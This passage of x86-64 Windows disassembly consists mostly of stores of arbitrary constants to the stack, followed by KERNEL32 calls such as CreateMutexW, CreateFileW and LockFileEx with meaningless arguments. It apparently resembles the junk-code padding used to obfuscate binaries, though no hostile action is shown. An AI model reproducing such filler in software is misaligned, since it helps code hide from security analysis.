mov dword [rsp + 0x9400], 0x16fb70e4
mov dword [rsp + 0x9404], 0x69ec9ac
mov dword [rsp + 0x9408], 0x500d04a5
mov dword [rsp + 0x940c], 0x2326
mov eax, 0x701
mov word [rsp + 0x29a0], ax
mov eax, 0xdcd
mov word [rsp + 0x29a4], ax
mov dword [rsp + 0x9410], 0x34b4
mov byte [rsp + 0x6ba], 0x35
mov dword [rsp + 0x9414], 0x1b77757b
mov eax, 0xdd3
mov word [rsp + 0x29a8], ax
mov dword [rsp + 0x9418], 0x1f5371e3
mov eax, 0x984
mov word [rsp + 0x29ac], ax
mov dword [rsp + 0x941c], 0x2f422651
mov byte [rsp + 0x6bb], 0x97
mov eax, 0x8c3
mov word [rsp + 0x29b0], ax
mov eax, 0x647
mov word [rsp + 0x29b4], ax
mov eax, 0xefb
mov word [rsp + 0x29b8], ax
mov eax, 0xef4
mov word [rsp + 0x29bc], ax
mov dword [rsp + 0x9420], 0xa469
mov dword [rsp + 0x9424], 0x6aef6d6f
mov eax, 0xec
mov word [rsp + 0x29c0], ax
mov byte [rsp + 0x6bc], 0x21
mov dword [rsp + 0x9428], 0x49ee
mov dword [rsp + 0x942c], 0x46ba51e
mov dword [rsp + 0x9430], 0x78e7
mov dword [rsp + 0x9434], 0x3d2944f3
mov byte [rsp + 0x6bd], 0x6c
mov dword [rsp + 0x9438], 0x64b5fe3c
mov eax, 0x6d2
mov word [rsp + 0x29c4], ax
mov dword [rsp + 0x943c], 0x44bffb7e
mov dword [rsp + 0x9440], 0xb75d
mov dword [rsp + 0x9444], 0x919a
mov byte [rsp + 0x6be], 0x5e
mov dword [rsp + 0x9448], 0x215e
mov dword [rsp + 0x944c], 0x7576ce6b
mov dword [rsp + 0x9450], 0xccfa
mov dword [rsp + 0x9454], 0x5c65700b
mov byte [rsp + 0x6bf], 0x81
mov byte [rsp + 0x6c0], 0x36
mov eax, 0x736
mov word [rsp + 0x29c8], ax
mov dword [rsp + 0x9458], 0x799d35c2
mov byte [rsp + 0x6c1], 0x4b
mov dword [rsp + 0x945c], 0x540c01cc
mov dword [rsp + 0x9460], 0x775fccbc
mov eax, 0x30
mov word [rsp + 0x29cc], ax
mov dword [rsp + 0x9464], 0x5fec0f6e
mov eax, 0x3d0
mov word [rsp + 0x29d0], ax
mov eax, 0xfbc
mov word [rsp + 0x29d4], ax
mov eax, 0xb80
mov word [rsp + 0x29d8], ax
mov eax, 0x48c
mov word [rsp + 0x29dc], ax
mov eax, 0x635
mov word [rsp + 0x29e0], ax
mov dword [rsp + 0x9468], 0x36f522e0
mov dword [rsp + 0x946c], 0x21355640
mov dword [rsp + 0x9470], 0xada3
mov eax, 0x833
mov word [rsp + 0x29e4], ax
mov dword [rsp + 0x9474], 0x37cb243d
mov dword [rsp + 0x9478], 0x2fad5abd
mov eax, 0x12e
mov word [rsp + 0x29e8], ax
mov dword [rsp + 0x947c], 0x5b33cd4e
mov dword [rsp + 0x9480], 0x21aa6b76
mov dword [rsp + 0x9484], 0x6da971a7
mov dword [rsp + 0x9488], 0x26ee
mov byte [rsp + 0x6c2], 0xd9
mov eax, 0x161
mov word [rsp + 0x29ec], ax
mov eax, 0xb37
mov word [rsp + 0x29f0], ax
mov dword [rsp + 0x948c], 0x776988f7
mov dword [rsp + 0x9490], 0x2550
mov dword [rsp + 0x9494], 0xabf9
mov dword [rsp + 0x9498], 0x43cca090
mov dword [rsp + 0x949c], 0xdbf2
mov dword [rsp + 0x94a0], 0x8201
mov dword [rsp + 0x94a4], 0x11752b39
mov dword [rsp + 0x94a8], 0x6b5ac739
mov dword [rsp + 0x94ac], 0x9ab
mov dword [rsp + 0x94b0], 0xfcca
mov dword [rsp + 0x94b4], 0x87c6
mov dword [rsp + 0x94b8], 0xdf19
mov dword [rsp + 0x94bc], 0x5e06992f
mov dword [rsp + 0x94c0], 0x7aa76c36
mov dword [rsp + 0x94c4], 0x59a447b5
mov byte [rsp + 0x6c3], 0xd4
mov dword [rsp + 0x94c8], 0x74f7432a
mov eax, 0x8da
mov word [rsp + 0x29f4], ax
mov dword [rsp + 0x94cc], 0x8cde
mov dword [rsp + 0x94d0], 0x67a469c2
mov eax, 0x12a
mov word [rsp + 0x29f8], ax
mov dword [rsp + 0x94d4], 0x5c178df3
mov eax, 0xf12
mov word [rsp + 0x29fc], ax
mov dword [rsp + 0x94d8], 0x7cb2
mov dword [rsp + 0x94dc], 0x5109
mov byte [rsp + 0x6c4], 0x39
mov dword [rsp + 0x94e0], 0xaf7c
mov dword [rsp + 0x94e4], 0x1195cf55
mov eax, 0x48
mov word [rsp + 0x2a00], ax
mov dword [rsp + 0x94e8], 0xda5
mov dword [rsp + 0x94ec], 0x7089f8a9
mov byte [rsp + 0x6c5], 0x8c
mov dword [rsp + 0x94f0], 0xf4fa
mov eax, 0x7b3
mov word [rsp + 0x2a04], ax
mov dword [rsp + 0x94f4], 0x43c7
mov byte [rsp + 0x6c6], 0xb6
mov dword [rsp + 0x94f8], 0x7432
mov dword [rsp + 0x94fc], 0x5aec
mov byte [rsp + 0x6c7], 0xb
mov dword [rsp + 0x9500], 0x2c9a99ad
mov dword [rsp + 0x9504], 0x19b6ad0b
mov eax, 0xe95
mov word [rsp + 0x2a08], ax
mov dword [rsp + 0x9508], 0x5651c8c3
mov eax, 0x91d
mov word [rsp + 0x2a0c], ax
mov eax, 0x4fe
mov word [rsp + 0x2a10], ax
mov eax, 0x6ac
mov word [rsp + 0x2a14], ax
mov dword [rsp + 0x950c], 0x4caa942c
mov eax, 0x45e
mov word [rsp + 0x2a18], ax
mov dword [rsp + 0x9510], 0x6393
mov eax, 0x113
mov word [rsp + 0x2a1c], ax
mov dword [rsp + 0x9514], 0x3b5293b7
mov dword [rsp + 0x9518], 0x1c9b95ff
mov eax, 0xc73
mov word [rsp + 0x2a20], ax
mov eax, 0x1eb
mov word [rsp + 0x2a24], ax
mov byte [rsp + 0x6c8], 0x53
mov dword [rsp + 0x951c], 0x4694d79d
mov dword [rsp + 0x9520], 0x3a36eeeb
mov eax, 0xb49
mov word [rsp + 0x2a28], ax
mov byte [rsp + 0x6c9], 0x20
mov eax, 0xcb0
mov word [rsp + 0x2a2c], ax
mov dword [rsp + 0x9524], 0xd39b
mov eax, 0xfb
mov word [rsp + 0x2a30], ax
mov dword [rsp + 0x9528], 0x1b5ee987
mov eax, 0x428
mov word [rsp + 0x2a34], ax
mov byte [rsp + 0x6ca], 0x7c
mov dword [rsp + 0x952c], 0x44077d8b
mov dword [rsp + 0x9530], 0x20d0beea
mov eax, 0x79e
mov word [rsp + 0x2a38], ax
mov dword [rsp + 0x9534], 0x45ddd492
mov eax, 0x63a
mov word [rsp + 0x2a3c], ax
mov eax, 0xc5
mov word [rsp + 0x2a40], ax
mov dword [rsp + 0x9538], 0x50017cfb
mov dword [rsp + 0x953c], 0x70c99aeb
mov dword [rsp + 0x9540], 0x2a9ad550
mov dword [rsp + 0x9544], 0x608ea35b
mov byte [rsp + 0x6cb], 0x7b
mov dword [rsp + 0x9548], 0x1b4d113c
mov eax, 0xa21
mov word [rsp + 0x2a44], ax
mov dword [rsp + 0x954c], 0x67bc
mov dword [rsp + 0x9550], 0x325b17b9
mov eax, 0xe26
mov word [rsp + 0x2a48], ax
mov dword [rsp + 0x9554], 0x4ce321f9
mov eax, 0x83c
mov word [rsp + 0x2a4c], ax
mov dword [rsp + 0x9558], 0x403b50e1
mov eax, 0x372
mov word [rsp + 0x2a50], ax
mov eax, 0xd44
mov word [rsp + 0x2a54], ax
mov dword [rsp + 0x955c], 0x5018801
mov dword [rsp + 0x9560], 0x67dcffaf
mov eax, 0x41f
mov word [rsp + 0x2a58], ax
mov byte [rsp + 0x6cc], 0x2e
mov dword [rsp + 0x9564], 0x30a9
mov byte [rsp + 0x6cd], 0x6a
mov dword [rsp + 0x9568], 0x7f075eb7
mov dword [rsp + 0x956c], 0xf155d24
mov dword [rsp + 0x9570], 0x349
mov byte [rsp + 0x6ce], 0x5f
mov byte [rsp + 0x6cf], 0x82
mov eax, 0xa74
mov word [rsp + 0x2a5c], ax
mov eax, 0x795
mov word [rsp + 0x2a60], ax
mov byte [rsp + 0x6d0], 0xc
mov dword [rsp + 0x9574], 0x6a83
mov eax, 0x1c9
mov word [rsp + 0x2a64], ax
mov dword [rsp + 0x9578], 0xd3100da
mov eax, 0xcb2
mov word [rsp + 0x2a68], ax
mov eax, 0x7d1
mov word [rsp + 0x2a6c], ax
mov byte [rsp + 0x6d1], 0x5c
mov eax, 0x552
mov word [rsp + 0x2a70], ax
mov dword [rsp + 0x957c], 0x256019dc
mov dword [rsp + 0x9580], 0x15b9edd4
mov dword [rsp + 0x9584], 0x46eb
mov byte [rsp + 0x6d2], 0x24
mov dword [rsp + 0x9588], 0xc662
mov dword [rsp + 0x958c], 0x850a
mov dword [rsp + 0x9590], 0x36d9
mov dword [rsp + 0x9594], 0xc99f4ca
mov dword [rsp + 0x9598], 0x8ff
mov dword [rsp + 0x959c], 0x41f3cfb8
mov eax, 0xc50
mov word [rsp + 0x2a74], ax
mov dword [rsp + 0x95a0], 0x2bc6135b
mov byte [rsp + 0x6d3], 0x2a
mov eax, 0x356
mov word [rsp + 0x2a78], ax
mov byte [rsp + 0x6d4], 0xb3
mov dword [rsp + 0x95a4], 0x3e49b2b0
mov eax, 3
mov word [rsp + 0x2a7c], ax
mov eax, 0x11e
mov word [rsp + 0x2a80], ax
mov dword [rsp + 0x95a8], 0x1f72
mov byte [rsp + 0x6d5], 0x20
mov eax, 0x254
mov word [rsp + 0x2a84], ax
mov dword [rsp + 0x95ac], 0x5526cf8c
mov dword [rsp + 0x95b0], 0x53c91798
mov byte [rsp + 0x6d6], 0x72
mov byte [rsp + 0x6d7], 0xfd
mov dword [rsp + 0x95b4], 0x6fe9844d
mov dword [rsp + 0x95b8], 0x129dcd1c
mov dword [rsp + 0x95bc], 0x518cbded
mov dword [rsp + 0x95c0], 0x132aef15
mov dword [rsp + 0x95c4], 0xd973d64
mov dword [rsp + 0x95c8], 0x7668c587
mov dword [rsp + 0x95cc], 0x470a2558
mov dword [rsp + 0x95d0], 0x3bfbdc
mov byte [rsp + 0x6d8], 0xa7
mov byte [rsp + 0x6d9], 0x6d
mov dword [rsp + 0x95d4], 0x4cd079d1
mov byte [rsp + 0x6da], 0xe4
mov dword [rsp + 0x95d8], 0xaed65b6
mov dword [rsp + 0x95dc], 0x2d06
mov byte [rsp + 0x6db], 0x34
mov dword [rsp + 0x95e0], 0x4ab4ced5
mov dword [rsp + 0x95e4], 0x49843afa
mov dword [rsp + 0x95e8], 0x14355d3e
mov dword [rsp + 0x95ec], 0x9884
mov dword [rsp + 0x95f0], 0x4684b655
mov dword [rsp + 0x95f4], 0x242a1650
mov byte [rsp + 0x6dc], 0x7e
mov dword [rsp + 0x95f8], 0xa89d53b
mov dword [rsp + 0x95fc], 0x76b4b43d
mov eax, 0xd9c
mov word [rsp + 0x2a88], ax
mov dword [rsp + 0x9600], 0x68788fab
mov dword [rsp + 0x9604], 0x3d1876e0
mov dword [rsp + 0x9608], 0x9095
mov byte [rsp + 0x6dd], 7
mov dword [rsp + 0x960c], 0x6c12310b
mov eax, 0x859
mov word [rsp + 0x2a8c], ax
mov eax, 0x105
mov word [rsp + 0x2a90], ax
mov dword [rsp + 0x9610], 0x352050f4
mov byte [rsp + 0x6de], 4
mov dword [rsp + 0x9614], 0x37b9806
mov dword [rsp + 0x9618], 0x3e21e421
mov eax, 0x5eb
mov word [rsp + 0x2a94], ax
mov dword [rsp + 0x961c], 0x50dfda5
mov dword [rsp + 0x9620], 0x1471
mov dword [rsp + 0x9624], 0x1cf
mov dword [rsp + 0x9628], 0x50960d52
mov dword [rsp + 0x962c], 0x3487c798
mov dword [rsp + 0x9630], 0x22b84c65
mov eax, 0xf50
mov word [rsp + 0x2a98], ax
mov eax, 0x57c
mov word [rsp + 0x2a9c], ax
mov dword [rsp + 0x9634], 0x10c387d0
mov dword [rsp + 0x9638], 0xd1b
mov byte [rsp + 0x6df], 0xd1
mov byte [rsp + 0x6e0], 0x34
mov dword [rsp + 0x963c], 0x3c32
mov dword [rsp + 0x9640], 0x429ebd6c
mov byte [rsp + 0x6e1], 0x46
mov dword [rsp + 0x9644], 0x6afdc8a5
mov dword [rsp + 0x9648], 0x175f8fbd
mov dword [rsp + 0x964c], 0x2616e8f1
mov byte [rsp + 0x6e2], 0x4a
mov eax, 0x25b
mov word [rsp + 0x2aa0], ax
mov byte [rsp + 0x6e3], 0x45
mov byte [rsp + 0x6e4], 0x24
mov dword [rsp + 0x9650], 0xb5feed
mov dword [rsp + 0x9654], 0x15c86c8c
mov dword [rsp + 0x9658], 0x940e
mov dword [rsp + 0x965c], 0x235d0a6f
mov dword [rsp + 0x9660], 0xacad
mov eax, 0x718
mov word [rsp + 0x2aa4], ax
mov dword [rsp + 0x9664], 0x55d86d50
mov byte [rsp + 0x6e5], 0x8b
mov byte [rsp + 0x6e6], 0xd0
mov dword [rsp + 0x9668], 0x5d55
mov dword [rsp + 0x966c], 0x4354740b
mov dword [rsp + 0x9670], 0x39a32235
mov eax, 0xb7c
mov word [rsp + 0x2aa8], ax
mov eax, 0x1d5
mov word [rsp + 0x2aac], ax
mov byte [rsp + 0x6e7], 0xc9
mov dword [rsp + 0x9674], 0x21b9
mov dword [rsp + 0x9678], 0x4df4f9be
mov dword [rsp + 0x967c], 0x490698f0
mov dword [rsp + 0x9680], 0x6253
mov dword [rsp + 0x9684], 0x565c
mov dword [rsp + 0x9688], 0x60d1
mov dword [rsp + 0x968c], 0x59c7d253
mov dword [rsp + 0x9690], 0x344a29ac
mov dword [rsp + 0x9694], 0x50558d3e
mov dword [rsp + 0x9698], 0x4a374554
mov dword [rsp + 0x969c], 0x4a31c93e
mov eax, 0x2c2
mov word [rsp + 0x2ab0], ax
mov byte [rsp + 0x6e8], 0x86
mov dword [rsp + 0x96a0], 0xfc1
mov dword [rsp + 0x96a4], 0x38d09d53
mov dword [rsp + 0x96a8], 0x18a275dd
mov dword [rsp + 0x96ac], 0x559fe5ff
mov dword [rsp + 0x96b0], 0x3ca721fd
mov dword [rsp + 0x96b4], 0x2ec25841
mov dword [rsp + 0x96b8], 0x3b79cf25
mov dword [rsp + 0x96bc], 0x396b3533
mov dword [rsp + 0x96c0], 0x939e
mov dword [rsp + 0x96c4], 0x172b0ad3
mov byte [rsp + 0x6e9], 0xdf
mov dword [rsp + 0x96c8], 0xf80b
mov dword [rsp + 0x96cc], 0x647bb8c0
mov eax, 0xf36
mov word [rsp + 0x2ab4], ax
mov dword [rsp + 0x96d0], 0x7d047d7d
mov byte [rsp + 0x6ea], 0x29
mov byte [rsp + 0x6eb], 0xd1
mov byte [rsp + 0x6ec], 0x7c
mov byte [rsp + 0x6ed], 0x41
mov dword [rsp + 0x96d4], 0x16c8559f
mov dword [rsp + 0x96d8], 0x89ce004
mov byte [rsp + 0x6ee], 0x2c
mov dword [rsp + 0x96dc], 0x357ff0d2
mov dword [rsp + 0x96e0], 0xd9c9
mov dword [rsp + 0x96e4], 0x1815
mov dword [rsp + 0x96e8], 0xa496
mov eax, 0x643
mov word [rsp + 0x2ab8], ax
mov byte [rsp + 0x6ef], 0x24
mov eax, 0x88b
mov word [rsp + 0x2abc], ax
mov dword [rsp + 0x96ec], 0x132b7bf3
mov dword [rsp + 0x96f0], 0xe9db
mov dword [rsp + 0x96f4], 0x1985
mov dword [rsp + 0x96f8], 0x522ac87e
mov byte [rsp + 0x6f0], 0x67
mov dword [rsp + 0x96fc], 0x4b
mov eax, 0xb59
mov word [rsp + 0x2ac0], ax
mov eax, 0xc0e
mov word [rsp + 0x2ac4], ax
mov dword [rsp + 0x9700], 0x38ea
mov dword [rsp + 0x9704], 0x27a0836
mov eax, 0xb62
mov word [rsp + 0x2ac8], ax
mov byte [rsp + 0x6f1], 0x69
mov dword [rsp + 0x9708], 0x210c
mov byte [rsp + 0x6f2], 0x97
mov dword [rsp + 0x970c], 0x536e6a9f
mov dword [rsp + 0x9710], 0x52100bfb
mov byte [rsp + 0x6f3], 0x97
mov dword [rsp + 0x9714], 0x61c2569
mov dword [rsp + 0x9718], 0x94ef
mov dword [rsp + 0x971c], 0x3016
mov dword [rsp + 0x9720], 0xa9f8
mov byte [rsp + 0x6f4], 0x24
mov dword [rsp + 0x9724], 0xc6e5eec
mov dword [rsp + 0x9728], 0x70228892
mov dword [rsp + 0x972c], 0xab07
mov dword [rsp + 0x9730], 0x2bfed386
mov dword [rsp + 0x9734], 0x2f21
mov eax, 0xb0b
mov word [rsp + 0x2acc], ax
mov dword [rsp + 0x9738], 0x2c963e89
mov eax, 0x6e6
mov word [rsp + 0x2ad0], ax
mov dword [rsp + 0x973c], 0x3a671c2b
mov dword [rsp + 0x9740], 0x60be
mov byte [rsp + 0x6f5], 0x88
mov dword [rsp + 0x9744], 0x19f6
mov dword [rsp + 0x9748], 0xe617
mov dword [rsp + 0x974c], 0x75dc086
mov dword [rsp + 0x9750], 0x5c1b0a1
mov dword [rsp + 0x9754], 0x1403f705
mov dword [rsp + 0x9758], 0x64e437f2
mov eax, 0xee1
mov word [rsp + 0x2ad4], ax
mov eax, 0x76b
mov word [rsp + 0x2ad8], ax
mov dword [rsp + 0x975c], 0x75b8
mov dword [rsp + 0x9760], 0x68241dbc
mov byte [rsp + 0x6f6], 0x2b
mov dword [rsp + 0x9764], 0x599b7ebb
mov dword [rsp + 0x9768], 0x74acfa7d
mov byte [rsp + 0x6f7], 0xdb
mov dword [rsp + 0x976c], 0x8cec
mov byte [rsp + 0x6f8], 0x5b
mov dword [rsp + 0x9770], 0x9479
mov byte [rsp + 0x6f9], 0x1c
mov dword [rsp + 0x9774], 0x5d18b779
mov byte [rsp + 0x6fa], 0x53
mov dword [rsp + 0x9778], 0xc13e
mov eax, 0xc88
mov word [rsp + 0x2adc], ax
mov eax, 0x77c
mov word [rsp + 0x2ae0], ax
mov byte [rsp + 0x6fb], 0x6c
mov dword [rsp + 0x977c], 0x41fe
mov eax, 0x519
mov word [rsp + 0x2ae4], ax
mov dword [rsp + 0x9780], 0x7f6d
mov dword [rsp + 0x9784], 0x5e871aa0
mov dword [rsp + 0x9788], 0x3158a0dc
mov dword [rsp + 0x978c], 0x5310aaeb
mov dword [rsp + 0x9790], 0x78de3439
mov eax, 0x43f
mov word [rsp + 0x2ae8], ax
mov dword [rsp + 0x9794], 0x5c5f3f1e
mov byte [rsp + 0x6fc], 0x29
mov byte [rsp + 0x6fd], 0x7a
mov byte [rsp + 0x6fe], 0xbf
mov byte [rsp + 0x6ff], 0x2a
mov eax, 0x353
mov word [rsp + 0x2aec], ax
mov dword [rsp + 0x9798], 0x9d11
mov byte [rsp + 0x700], 0x43
mov dword [rsp + 0x979c], 0x628a5106
mov dword [rsp + 0x97a0], 0x3ed6762f
mov eax, 0x8df
mov word [rsp + 0x2af0], ax
mov eax, 0x324
mov word [rsp + 0x2af4], ax
mov byte [rsp + 0x701], 0x6a
mov dword [rsp + 0x97a4], 0x19c3
mov dword [rsp + 0x97a8], 0x4c3daf45
mov dword [rsp + 0x97ac], 0x42c88aa2
mov dword [rsp + 0x97b0], 0x46a1429d
mov byte [rsp + 0x702], 0x18
mov dword [rsp + 0x97b4], 0xf942
mov eax, 0xba0
mov word [rsp + 0x2af8], ax
mov eax, 0xf64
mov word [rsp + 0x2afc], ax
mov dword [rsp + 0x97b8], 0x202a657e
mov dword [rsp + 0x97bc], 0x45e1
mov dword [rsp + 0x97c0], 0xc962
mov byte [rsp + 0x703], 0x47
mov eax, 0x888
mov word [rsp + 0x2b00], ax
mov dword [rsp + 0x97c4], 0xf3e3
mov byte [rsp + 0x704], 0x44
mov dword [rsp + 0x97c8], 0x497eb224
mov byte [rsp + 0x705], 0x2d
mov dword [rsp + 0x97cc], 0x3e55
mov byte [rsp + 0x706], 0x2a
mov byte [rsp + 0x707], 0xac
mov dword [rsp + 0x97d0], 0x1897fb80
mov dword [rsp + 0x97d4], 0x48164fff
mov eax, 0xe4c
mov word [rsp + 0x2b04], ax
mov dword [rsp + 0x97d8], 0x53a68d9a
mov dword [rsp + 0x97dc], 0x2881a6bf
mov byte [rsp + 0x708], 0xd6
mov eax, 0x4fa
mov word [rsp + 0x2b08], ax
mov dword [rsp + 0x97e0], 0x5a0a6eeb
mov dword [rsp + 0x97e4], 0xe79e
mov dword [rsp + 0x97e8], 0xbb95763
mov eax, 0xee7
mov word [rsp + 0x2b0c], ax
mov dword [rsp + 0x97ec], 0x8b76
mov dword [rsp + 0x97f0], 0x524be3ee
mov byte [rsp + 0x709], 0x74
mov dword [rsp + 0x97f4], 0x6ebb15cf
mov dword [rsp + 0x97f8], 0x702a784b
mov eax, 0xebb
mov word [rsp + 0x2b10], ax
mov eax, 0x460
mov word [rsp + 0x2b14], ax
mov byte [rsp + 0x70a], 0xe
mov byte [rsp + 0x70b], 0x6d
mov byte [rsp + 0x70c], 0x48
mov dword [rsp + 0x97fc], 0x8acf7dd
mov eax, 0xf8b
mov word [rsp + 0x2b18], ax
mov eax, 0x9a9
mov word [rsp + 0x2b1c], ax
mov dword [rsp + 0x9800], 0x2f0567c1
mov eax, 0x38b
mov word [rsp + 0x2b20], ax
mov dword [rsp + 0x9804], 0x521c6ca6
mov eax, 0xf11
mov word [rsp + 0x2b24], ax
mov dword [rsp + 0x9808], 0x3bb3
mov eax, 0xf95
mov word [rsp + 0x2b28], ax
mov dword [rsp + 0x980c], 0x20cfecc
mov eax, 0x42e
mov word [rsp + 0x2b2c], ax
mov eax, 0x9e9
mov word [rsp + 0x2b30], ax
mov byte [rsp + 0x70d], 0x5c
mov dword [rsp + 0x9810], 0xdc52
mov dword [rsp + 0x9814], 0x73a49e69
mov byte [rsp + 0x70e], 0xbf
mov dword [rsp + 0x9818], 0x6ea4
mov byte [rsp + 0x70f], 0xd6
mov dword [rsp + 0x981c], 0x40c6acc8
mov dword [rsp + 0x9820], 0x220e1706
mov eax, 0xf5
mov word [rsp + 0x2b34], ax
mov byte [rsp + 0x710], 0x94
mov dword [rsp + 0x9824], 0x1409
mov byte [rsp + 0x711], 0xee
mov byte [rsp + 0x712], 0xdb
mov byte [rsp + 0x713], 0x8c
mov dword [rsp + 0x9828], 0x37abe00f
mov eax, 0x6e0
mov word [rsp + 0x2b38], ax
mov dword [rsp + 0x982c], 0x59c662cd
mov dword [rsp + 0x9830], 0x3b8a7c9
mov byte [rsp + 0x714], 0x64
mov dword [rsp + 0x9834], 0x7b44e740
mov byte [rsp + 0x715], 0xf4
mov byte [rsp + 0x716], 0x62
mov dword [rsp + 0x9838], 0x3eabbf7b
mov dword [rsp + 0x983c], 0x60968a3f
mov dword [rsp + 0x9840], 0xc7899d0
mov dword [rsp + 0x9844], 0x5d65
mov byte [rsp + 0x717], 0xe
mov eax, 0x619
mov word [rsp + 0x2b3c], ax
mov dword [rsp + 0x9848], 0x57643779
mov dword [rsp + 0x984c], 0x48a60f84
mov dword [rsp + 0x9850], 0x4d6c
mov dword [rsp + 0x9854], 0x3c8f
mov byte [rsp + 0x718], 0xc7
mov dword [rsp + 0x9858], 0xeb6a
mov byte [rsp + 0x719], 0xa0
mov dword [rsp + 0x985c], 0xee82
mov dword [rsp + 0x9860], 0x7d633c54
mov dword [rsp + 0x9864], 0xd527bd8
mov eax, 0x6fb
mov word [rsp + 0x2b40], ax
mov dword [rsp + 0x9868], 0xa606
mov dword [rsp + 0x986c], 0x26b4dbf5
mov dword [rsp + 0x9870], 0xdaf6
mov eax, 0x5db
mov word [rsp + 0x2b44], ax
mov dword [rsp + 0x9874], 0xf156068
mov byte [rsp + 0x71a], 0x6d
mov dword [rsp + 0x9878], 0x1aa77fd5
mov eax, 0xf0a
mov word [rsp + 0x2b48], ax
mov dword [rsp + 0x987c], 0x33f35282
mov dword [rsp + 0x9880], 0x36995411
mov byte [rsp + 0x71b], 0x65
mov byte [rsp + 0x71c], 0
mov byte [rsp + 0x71d], 0x28
mov dword [rsp + 0x9884], 0x7aff923a
mov dword [rsp + 0x9888], 0x53641c26
mov byte [rsp + 0x71e], 0x3d
mov eax, 0x4f6
mov word [rsp + 0x2b4c], ax
mov dword [rsp + 0x988c], 0xf676
mov eax, 0xad4
mov word [rsp + 0x2b50], ax
mov byte [rsp + 0x71f], 0xcd
mov byte [rsp + 0x720], 0x50
mov dword [rsp + 0x9890], 0x470b6f9a
mov dword [rsp + 0x9894], 0x4e84c2ff
mov eax, 0x2a3
mov word [rsp + 0x2b54], ax
mov dword [rsp + 0x9898], 0x7177c23
mov dword [rsp + 0x989c], 0x400b
mov eax, 0xeee
mov word [rsp + 0x2b58], ax
mov byte [rsp + 0x721], 0x37
mov dword [rsp + 0x98a0], 0x42c98a00
mov dword [rsp + 0x98a4], 0xaa32
mov dword [rsp + 0x98a8], 0x3d8297c
mov dword [rsp + 0x98ac], 0x35d1
mov byte [rsp + 0x722], 0x6c
mov byte [rsp + 0x723], 0xef
mov dword [rsp + 0x98b0], 0x78c9
mov dword [rsp + 0x98b4], 0x7c75
mov dword [rsp + 0x98b8], 0x11fe369c
mov dword [rsp + 0x98bc], 0x2ddaf837
mov dword [rsp + 0x98c0], 0xe638
mov dword [rsp + 0x98c4], 0x4145aa48
mov eax, 0xe9a
mov word [rsp + 0x2b5c], ax
mov eax, 0x35c
mov word [rsp + 0x2b60], ax
mov dword [rsp + 0x98c8], 0x1ae0c455
mov dword [rsp + 0x98cc], 0xc717
mov eax, 0x6f2
mov word [rsp + 0x2b64], ax
mov dword [rsp + 0x98d0], 0x4ae5e1e6
mov dword [rsp + 0x98d4], 0x2fda49ca
mov dword [rsp + 0x98d8], 0xce91
mov dword [rsp + 0x98dc], 0x6c3c35f0
mov dword [rsp + 0x98e0], 0x3cb1ff19
mov dword [rsp + 0x98e4], 0x62674f46
mov dword [rsp + 0x98e8], 0x60564715
mov dword [rsp + 0x98ec], 0x281c
mov dword [rsp + 0x98f0], 0xdb6a
mov dword [rsp + 0x98f4], 0xd573
mov dword [rsp + 0x98f8], 0xe9f5
mov eax, 0x34
mov word [rsp + 0x2b68], ax
mov dword [rsp + 0x98fc], 0x4ca0
mov dword [rsp + 0x9900], 0x59e4824a
mov eax, 0x571
mov word [rsp + 0x2b6c], ax
mov dword [rsp + 0x9904], 0x401fec50
mov byte [rsp + 0x724], 0x38
mov dword [rsp + 0x9908], 0x760b75f3
mov dword [rsp + 0x990c], 0x26a1b6
mov dword [rsp + 0x9910], 0xc6e7432
mov dword [rsp + 0x9914], 0xe55f
mov dword [rsp + 0x9918], 0x75c877e8
mov dword [rsp + 0x991c], 0x8471
mov byte [rsp + 0x725], 0x1b
mov byte [rsp + 0x726], 0x80
mov dword [rsp + 0x9920], 0x5e359c91
mov dword [rsp + 0x9924], 0x9871
mov byte [rsp + 0x727], 0xe
mov dword [rsp + 0x9928], 0x44c3
mov dword [rsp + 0x992c], 0x5cd27b61
mov eax, 0xc59
mov word [rsp + 0x2b70], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x12be0], rax
mov dword [rsp + 0x9930], 0x7c17
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9934], eax
mov dword [rsp + 0x4aa70], 0x11c
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x12be8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, [0x140330d80]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x12bf0], rax
mov byte [rsp + 0x728], 0x9d
mov eax, dword [rsp + 0x9930]
add eax, 0xa3
mov dword [rsp + 0x9930], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1fad
mov r9d, 0xa25
mov r8d, 0xddcc48e2
mov edx, 1
mov rcx, qword [rsp + 0x12bf0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9938], eax
mov rcx, qword [rsp + 0x12be8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x993c], eax
movzx eax, byte [rsp + 0x728]
sub eax, 0x62
mov byte [rsp + 0x728], al
mov qword [rsp + 0x20], 0
mov r9d, 0x1fad
mov r8d, 0xa25
mov edx, 0xa1
mov rcx, qword [rsp + 0x12bf0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x9940], eax
movzx eax, byte [rsp + 0x728]
add eax, 0x4a
mov byte [rsp + 0x728], al
movzx eax, byte [rsp + 0x728]
and eax, 0xb8
mov byte [rsp + 0x728], al
movzx eax, byte [rsp + 0x728]
or eax, 0xc9
mov byte [rsp + 0x728], al
movzx eax, byte [rsp + 0x728]
shl eax, 7
mov byte [rsp + 0x728], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9944], eax
cmp dword [rsp + 0x9930], 0x8d48
jbe 0x14001a322
mov eax, dword [rsp + 0x9930]
add eax, 0xa3
mov dword [rsp + 0x9930], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1fad
mov r9d, 0xa25
mov r8d, 0xddcc48e2
mov edx, 1
mov rcx, qword [rsp + 0x12bf0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9938], eax
mov rcx, qword [rsp + 0x12be8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x993c], eax
